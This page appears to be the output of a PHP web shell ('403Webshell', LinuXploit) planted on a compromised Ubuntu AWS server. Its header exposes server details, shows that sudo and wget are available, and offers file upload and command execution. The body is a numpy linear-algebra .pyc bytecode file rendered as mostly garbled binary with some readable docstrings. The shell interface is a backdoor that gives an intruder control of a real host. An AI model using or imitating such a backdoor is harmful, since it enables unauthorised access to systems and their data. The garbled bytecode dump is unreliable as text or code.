403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.52
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/numpy/array_api/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/numpy/array_api/__pycache__/linalg.cpython-312.pyc
�

�f�G���ddlmZddlmZmZmZmZmZmZddl	m
Z
ddlmZddl
mZddlmZdd	lmZerdd
lmZmZmZmZmZmZddlmZddlZddlZGd
�de�ZGd�de�ZGd�de�Z Gd�de�Z!dd�d=d�Z"dd�d>d�Z#d?d�Z$dd�d@d�Z%dAd�Z&d?d�Z'd?d �Z(dBd!�Z)dd"d#�dCd$�Z*dDd%�Z+dd&�dEd'�Z,d?d(�Z-dBd)�Z.dd&�dEd*�Z/d+d,�dFd-�Z0dGd.�Z1d/�Z2dBd0�Z3d1d2�dHd3�Z4dId4�Z5dd5�dJd6�Z6ddd7�dKd8�Z7dd�d>d9�Z8dddd:�dLd;�Z9gd<�Z:y)M�)�annotations�)�_floating_dtypes�_numeric_dtypes�float32�float64�	complex64�
complex128)�reshape)�conj)�Array�)�normalize_axis_tuple)�
TYPE_CHECKING)�Literal�Optional�Sequence�Tuple�Union�Dtype)�
NamedTupleNc�"�eZdZUded<ded<y)�
EighResultr
�eigenvalues�eigenvectorsN��__name__�
__module__�__qualname__�__annotations__���8/usr/lib/python3/dist-packages/numpy/array_api/linalg.pyrrs�����r"rc�"�eZdZUded<ded<y)�QRResultr
�Q�RNrr!r"r#r%r%s���H��Hr"r%c�"�eZdZUded<ded<y)�
SlogdetResultr
�sign�	logabsdetNrr!r"r#r)r)"s
��
�K��r"r)c�,�eZdZUded<ded<ded<y)�	SVDResultr
�U�S�VhNrr!r"r#r-r-&s���H��H�
�Ir"r-F)�upperc�D�|jtvrtd��tjj|j�}|rDtj|�j}|jttfvrt|�}|Stj|�S)z�
    Array API compatible wrapper for :py:func:`np.linalg.cholesky <numpy.linalg.cholesky>`.

    See its docstring for more information.
    z2Only floating-point dtypes are allowed in cholesky)
�dtyper�	TypeError�np�linalg�cholesky�_arrayr
�_new�mTr	r
r)�xr1�Lr.s    r#r7r7-sx��	�w�w�&�&��L�M�M�
�	�	���1�8�8�$�A���J�J�q�M�����7�7�y�*�-�-��Q��A����:�:�a�=�r"�����axisc��|jtvs|jtvrtd��|j|jk7rt	d��|j
dk(rt	d��|j|dk7rt	d��t
jtj|j|j|���S)zz
    Array API compatible wrapper for :py:func:`np.cross <numpy.cross>`.

    See its docstring for more information.
    z(Only numeric dtypes are allowed in crossz"x1 and x2 must have the same shaperz/cross() requires arrays of dimension at least 1�zcross() dimension must equal 3r>)r3rr4�shape�
ValueError�ndimr
r9r5�crossr8)�x1�x2r?s   r#rErE@s���
�x�x��&�"�(�(�/�*I��B�C�C�	�x�x�2�8�8���=�>�>�	�w�w�!�|��J�K�K�	�x�x��~����9�:�:��:�:�b�h�h�r�y�y�"�)�)�$�?�@�@r"c��|jtvrtd��tjt
jj|j��S)z�
    Array API compatible wrapper for :py:func:`np.linalg.det <numpy.linalg.det>`.

    See its docstring for more information.
    z-Only floating-point dtypes are allowed in det)	r3rr4r
r9r5r6�detr8�r;s r#rIrIRs=��	�w�w�&�&��G�H�H��:�:�b�i�i�m�m�A�H�H�-�.�.r")�offsetc�n�tjtj|j|dd���S)z�
    Array API compatible wrapper for :py:func:`np.diagonal <numpy.diagonal>`.

    See its docstring for more information.
    ���r=)rK�axis1�axis2)r
r9r5�diagonalr8)r;rKs  r#rPrP_s&���:�:�b�k�k�!�(�(�6��2�N�O�Or"c���|jtvrtd��tt	t
jtjj|j���S)z�
    Array API compatible wrapper for :py:func:`np.linalg.eigh <numpy.linalg.eigh>`.

    See its docstring for more information.
    z.Only floating-point dtypes are allowed in eigh)r3rr4r�mapr
r9r5r6�eighr8rJs r#rSrSjsF��	�w�w�&�&��H�I�I��s�5�:�:�r�y�y�~�~�a�h�h�'?�@�A�Ar"c��|jtvrtd��tjt
jj|j��S)z�
    Array API compatible wrapper for :py:func:`np.linalg.eigvalsh <numpy.linalg.eigvalsh>`.

    See its docstring for more information.
    z2Only floating-point dtypes are allowed in eigvalsh)	r3rr4r
r9r5r6�eigvalshr8rJs r#rUrUzs?��	�w�w�&�&��L�M�M��:�:�b�i�i�(�(����2�3�3r"c��|jtvrtd��tjt
jj|j��S)z�
    Array API compatible wrapper for :py:func:`np.linalg.inv <numpy.linalg.inv>`.

    See its docstring for more information.
    z-Only floating-point dtypes are allowed in inv)	r3rr4r
r9r5r6�invr8rJs r#rWrW�s=��	�w�w�&�&��G�H�H��:�:�b�i�i�m�m�A�H�H�-�.�.r"c���|jtvs|jtvrtd��tjtj|j|j��S)z|
    Array API compatible wrapper for :py:func:`np.matmul <numpy.matmul>`.

    See its docstring for more information.
    z)Only numeric dtypes are allowed in matmul)r3rr4r
r9r5�matmulr8�rFrGs  r#rYrY�sI��
�x�x��&�"�(�(�/�*I��C�D�D��:�:�b�i�i��	�	�2�9�9�5�6�6r"�fro)�keepdims�ordc��|jtvrtd��tjt
jj|jd||���S)��
    Array API compatible wrapper for :py:func:`np.linalg.norm <numpy.linalg.norm>`.

    See its docstring for more information.
    z5Only floating-point dtypes are allowed in matrix_norm)rMr=�r?r\r])	r3rr4r
r9r5r6�normr8)r;r\r]s   r#�matrix_normrb�sF��	�w�w�&�&��O�P�P��:�:�b�i�i�n�n�Q�X�X�H�x�UX�n�Y�Z�Zr"c��|jtvrtd��tjt
jj|j|��S)z�
    Array API compatible wrapper for :py:func:`np.matrix_power <numpy.matrix_power>`.

    See its docstring for more information.
    zMOnly floating-point dtypes are allowed for the first argument of matrix_power)	r3rr4r
r9r5r6�matrix_powerr8)r;�ns  r#rdrd�sC��	�w�w�&�&��g�h�h��:�:�b�i�i�,�,�Q�X�X�q�9�:�:r")�rtolc�p�|jdkrtjjd��tjj	|j
d��}|�W|j
dd��t
|jd	d�ztj|j�jz}nXt|t�r|j
}|j
dd��tj|�d
tjfz}tjtj ||kDd���S)z�
    Array API compatible wrapper for :py:func:`np.matrix_rank <numpy.matrix_rank>`.

    See its docstring for more information.
    rzA1-dimensional array given. Array must be at least two-dimensionalF��
compute_uvNr=T)r?r\rM.r>)rDr5r6�LinAlgError�svdr8�maxrB�finfor3�eps�
isinstancer
�asarray�newaxisr9�
count_nonzero)r;rfr/�tols    r#�matrix_rankrt�s���	�v�v��z��i�i�#�#�$g�h�h�
�	�	�
�
�a�h�h�5�
�1�A��|��e�e��d�e�+�c�!�'�'�"�#�,�.?�?�"�(�(�1�7�7�BS�BW�BW�W���d�E�"��;�;�D��e�e��d�e�+�B�J�J�t�,<�S�"�*�*�_�,M�M���:�:�b�&�&�q�3�w�R�8�9�9r"c��|jdkrtd��tjt	j
|jdd��S)Nrz5x must be at least 2-dimensional for matrix_transposer=rM)rDrCr
r9r5�swapaxesr8rJs r#�matrix_transposerw�s9���v�v��z��P�Q�Q��:�:�b�k�k�!�(�(�B��3�4�4r"c�,�|jtvs|jtvrtd��|jdk7s|jdk7rt	d��tjtj|j|j��S)zz
    Array API compatible wrapper for :py:func:`np.outer <numpy.outer>`.

    See its docstring for more information.
    z(Only numeric dtypes are allowed in outerrz/The input arrays to outer must be 1-dimensional)
r3rr4rDrCr
r9r5�outerr8rZs  r#ryry�sl��
�x�x��&�"�(�(�/�*I��B�C�C�
�w�w�!�|�r�w�w�!�|��J�K�K��:�:�b�h�h�r�y�y�"�)�)�4�5�5r"c�@�|jtvrtd��|�Bt|jdd�tj|j�jz}tjt
jj|j|���S)z�
    Array API compatible wrapper for :py:func:`np.linalg.pinv <numpy.linalg.pinv>`.

    See its docstring for more information.
    z.Only floating-point dtypes are allowed in pinvNrM)�rcond)
r3rr4rlrBr5rmrnr
r9r6�pinvr8)r;rfs  r#r|r|�st��	�w�w�&�&��H�I�I��|��1�7�7�2�3�<� �2�8�8�A�G�G�#4�#8�#8�8���:�:�b�i�i�n�n�Q�X�X�T�n�:�;�;r"�reduced��modec	���|jtvrtd��tt	t
jtjj|j|����S)z�
    Array API compatible wrapper for :py:func:`np.linalg.qr <numpy.linalg.qr>`.

    See its docstring for more information.
    z,Only floating-point dtypes are allowed in qrr~)r3rr4r%rRr
r9r5r6�qrr8)r;rs  r#r�r�sJ��	�w�w�&�&��F�G�G��S����R�Y�Y�\�\�!�(�(��\�%F�G�H�Hr"c���|jtvrtd��tt	t
jtjj|j���S)z�
    Array API compatible wrapper for :py:func:`np.linalg.slogdet <numpy.linalg.slogdet>`.

    See its docstring for more information.
    z1Only floating-point dtypes are allowed in slogdet)r3rr4r)rRr
r9r5r6�slogdetr8rJs r#r�r�sH��	�w�w�&�&��K�L�L��#�e�j�j�"�)�)�*;�*;�A�H�H�*E�F�G�Gr"c��ddlm}m}m}m}m}m}m}ddlm	}	||�\}}
||�||�||�\}}|||�\}}
|jdk(r
|	j}n|	j}||�rdnd}tj|dddd�	�5||||�
�}ddd�|j|
d���S#1swY�"xYw)
Nr)�
_makearray�_assert_stacked_2d�_assert_stacked_square�_commonType�
isComplexType�get_linalg_error_extobj�_raise_linalgerror_singular)�
_umath_linalgrzDD->Dzdd->d�call�ignore)r��invalid�over�divide�under)�	signatureF)�copy)�
linalg.linalgr�r�r�r�r�r�r�r6r�rD�solve1�solver5�errstate�astype)�a�br�r�r�r�r�r�r�r��_�wrap�t�result_t�gufuncr��rs                 r#�_solver�/s���>�>�>�'��a�=�D�A�q��q���1����m�G�A�t��a��#�K�A�x�	�v�v��{��%�%���$�$��)��+���I�	���5�v�"�8�8�
E�.��1�a�9�-��.��������.�/�/�	.�.�s�C�Cc���|jtvs|jtvrtd��tjt|j|j��S)z�
    Array API compatible wrapper for :py:func:`np.linalg.solve <numpy.linalg.solve>`.

    See its docstring for more information.
    z/Only floating-point dtypes are allowed in solve)r3rr4r
r9r�r8rZs  r#r�r�KsG��
�x�x�'�'�2�8�8�;K�+K��I�J�J��:�:�f�R�Y�Y��	�	�2�3�3r"T��
full_matricesc	���|jtvrtd��tt	t
jtjj|j|����S)z�
    Array API compatible wrapper for :py:func:`np.linalg.svd <numpy.linalg.svd>`.

    See its docstring for more information.
    z-Only floating-point dtypes are allowed in svdr�)r3rr4r-rRr
r9r5r6rkr8)r;r�s  r#rkrkXsJ��	�w�w�&�&��G�H�H��c�%�*�*�b�i�i�m�m�A�H�H�M�m�&Z�[�\�\r"c��|jtvrtd��tjt
jj|jd���S)Nz1Only floating-point dtypes are allowed in svdvalsFrh)	r3rr4r
r9r5r6rkr8rJs r#�svdvalsr�is?���w�w�&�&��K�L�L��:�:�b�i�i�m�m�A�H�H��m�?�@�@r"��axesc���|jtvs|jtvrtd��tjtj|j|j|���S)Nz,Only numeric dtypes are allowed in tensordotr�)r3rr4r
r9r5�	tensordotr8)rFrGr�s   r#r�r�qsK��
�x�x��&�"�(�(�/�*I��F�G�G��:�:�b�l�l�2�9�9�b�i�i�d�C�D�Dr")rKr3c�:�|jtvrtd��|�3|jtk(rt}n|jt
k(rt}tjtjtj|j|dd|����S)zz
    Array API compatible wrapper for :py:func:`np.trace <numpy.trace>`.

    See its docstring for more information.
    z(Only numeric dtypes are allowed in tracerMr=)rKrNrOr3)
r3rr4rrr	r
r
r9r5rp�tracer8)r;rKr3s   r#r�r�zsv��	�w�w�o�%��B�C�C�
�}��7�7�g���E�
�W�W�	�
!��E��:�:�b�j�j����!�(�(�6��SU�]b�!c�d�e�er"c�r�|jtvs|jtvrtd��t|j|j�}d||jz
zt|j�z}d||jz
zt|j�z}||||k7rtd��tj|j|j�\}}tj||d�}tj||d�}|dddd�f|dz}tj|d�S)Nz)Only numeric dtypes are allowed in vecdot)rz6x1 and x2 must have the same size along the given axisr=.).N).rr)r3rr4rlrD�tuplerBrCr5�broadcast_arraysr8�moveaxisr
r9)	rFrGr?rD�x1_shape�x2_shape�x1_�x2_�ress	         r#�vecdotr��s��	�x�x��&�"�(�(�/�*I��C�D�D��r�w�w���� �D��T�B�G�G�^�$�u�R�X�X��6�H��T�B�G�G�^�$�u�R�X�X��6�H���~��$��'��Q�R�R��"�"�2�9�9�b�i�i�8�H�C��
�+�+�c�4��
$�C�
�+�+�c�4��
$�C�

�c�4��l�
�c�)�n�
,�C��:�:�c�)�n�%�%r"r`c	�j��|jtvrtd��|j}|�|j	�}d}n�t|t�r�t||j��t
�fd�t|j�D��}||z}tj||�jtj|D�cgc]}|j|��c}t��g|D�cgc]}|j|��c}���}d}n|}t!j"tj$j'|||���}	|rct)|j�}
t|�t|j�n||j�}|D]}d|
|<�	t|	t
|
��}	|	Scc}wcc}w)r_z.Only floating-point dtypes are allowed in normrc3�,�K�|]}|�vs�|���
y�w)Nr!)�.0�i�normalized_axiss  �r#�	<genexpr>zvector_norm.<locals>.<genexpr>�s�����J�1��/�1I�Q�J�s�	�)r3)r?r]r)r3rr4r8�ravelror�rrD�ranger5�	transposer�prodrB�intr
r9r6ra�list)r;r?r\r]r��_axis�rest�newshaper�r�rBr�s           @r#�vector_normr��sd���	�w�w�&�&��H�I�I�	
���A��|�
�G�G�I����	�D�%�	 �/�t�Q�V�V�<���J��a�f�f�
�J�J���$�;���L�L��H�%�-�-�
�W�W�$�/�Q�a�g�g�a�j�/�s�
;�Y�SW�>X�a�q�w�w�q�z�>X�Y�
[������
�*�*�R�Y�Y�^�^�A�E�s�^�;�
<�C���Q�W�W�
��$�d�l�U�1�6�6�]��a�f�f�U���	�A��E�!�H�	��c�5��<�(���J��!0��>Xs�F+�+F0
)r7rErIrPrSrUrWrYrbrdrtrwryr|r�r�r�rkr�r�r�r�r�)r;r
r1�bool�returnr
)rFr
rGr
r?r�r�r
)r;r
r�r
)r;r
rKr�r�r
)r;r
r�r)rFr
rGr
r�r
)r;r
r\r�r]z2Optional[Union[int, float, Literal['fro', 'nuc']]]r�r
)r;r
rer�r�r
)r;r
rfzOptional[Union[float, Array]]r�r
)r;r
rzLiteral['reduced', 'complete']r�r%)r;r
r�r))r;r
r�r�r�r-)r;r
r�zUnion[Array, Tuple[Array, ...]])rFr
rGr
r�z/Union[int, Tuple[Sequence[int], Sequence[int]]]r�r
)r;r
rKr�r3zOptional[Dtype]r�r
)
r;r
r?z%Optional[Union[int, Tuple[int, ...]]]r\r�r]zOptional[Union[int, float]]r�r
);�
__future__r�_dtypesrrrrr	r
�_manipulation_functionsr�_elementwise_functionsr�
_array_objectr
�core.numericr�typingr�_typingrrrrrrr�numpy.linalg�numpyr5rr%r)r-r7rErIrPrSrUrWrYrbrdrtrwryr|r�r�r�r�rkr�r�r�r�r��__all__r!r"r#�<module>r�sD��"���-�(� �/� ��I�I�������
�z�
��J���
��,1��&35�A�$
/�,-�P�
B� 4�/�7�(27�rw�[�;�GK�:�05�6�$@D�<�"?H�
I�
H�00�84�/3�
]�"A�cd�E�)*�D�f�*46�&�,OS�ej�PQ�+�ZF�r"

Youez - 2016 - github.com/yon3zu
LinuXploit